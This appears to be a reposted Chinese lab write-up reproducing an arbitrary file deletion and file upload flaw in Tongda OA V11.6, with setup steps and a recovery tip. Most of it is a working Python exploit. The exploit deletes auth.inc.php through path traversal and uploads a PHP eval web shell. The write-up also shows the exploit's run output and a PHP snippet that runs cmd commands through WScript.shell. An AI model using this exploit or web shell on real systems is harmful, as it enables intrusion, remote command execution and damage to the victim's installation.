环境搭建
通达OA V11.6 下载地址https://pan.baidu.com/s/1rTnsKtiB5HDvzp4FoKdMFw 提取码:Mo60
然后进行安装即可
访问
使用默认账号admin 空密码 登入
提示:该漏洞并不是无损的,如果成功利用后会删除程序中的php文件会导致程序功能无法使用
漏洞复现
这里使用exp直接打,利用成功会在根目录下生成一句话_oatest.php密码为t
import requests
payload="<?php eval($_POST['t']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
target=input("Please enter URL: ")
input("Press enter to continue!")
print("[*]Deleting auth.inc.php....")
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[-]Failed to deleted auth.inc.php")
exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('oatest.php', payload)}
requests.post(url=url,files=files)
url=target+"/_oatest.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[+]Filed Uploaded Successfully")
print("[+]URL:",url)
else:
print("[-]Failed to upload file")
运行后输入url然后回车确认运行即可,这里还是提示一下此漏洞并不是无损的!
>exp.py
[ ]Warning,This exploit code will DELETE auth.inc.php which may damage the OA
Please enter URL: http://192.168.0.110:8080/
Press enter to continue!
[ ]Deleting auth.inc.php....
[if file deleted... ]Checking
[ ]Successfully deleted auth.inc.php!
[ ]Uploading payload...
[ ]Filed Uploaded Successfully
[//192.168.0.110:8080//_oatest.php ]URL: http:
任意文件删除,exp是删除了验证文件然后进行文件上传
/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php
来到靶机处查看文件成功被写入
默认禁用了一些函数会导致无法执行命令这里使用其他方法去执行
$command=$_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
后话
再次登入发现页面已经不成样子
只要把auth.inc.php重新移动到webroot/inc/目录下即可,该文件我也放在了百度网盘链接里,如果各个版本的auth.inc.php文件结构没有大变动的话应该都是可以的
2017版本的也可以被利用,2019版本的都不行,这里测试的版本为V11.6
原文始发于微信公众号(Mo60):通达OA任意文件删除+文件上传漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论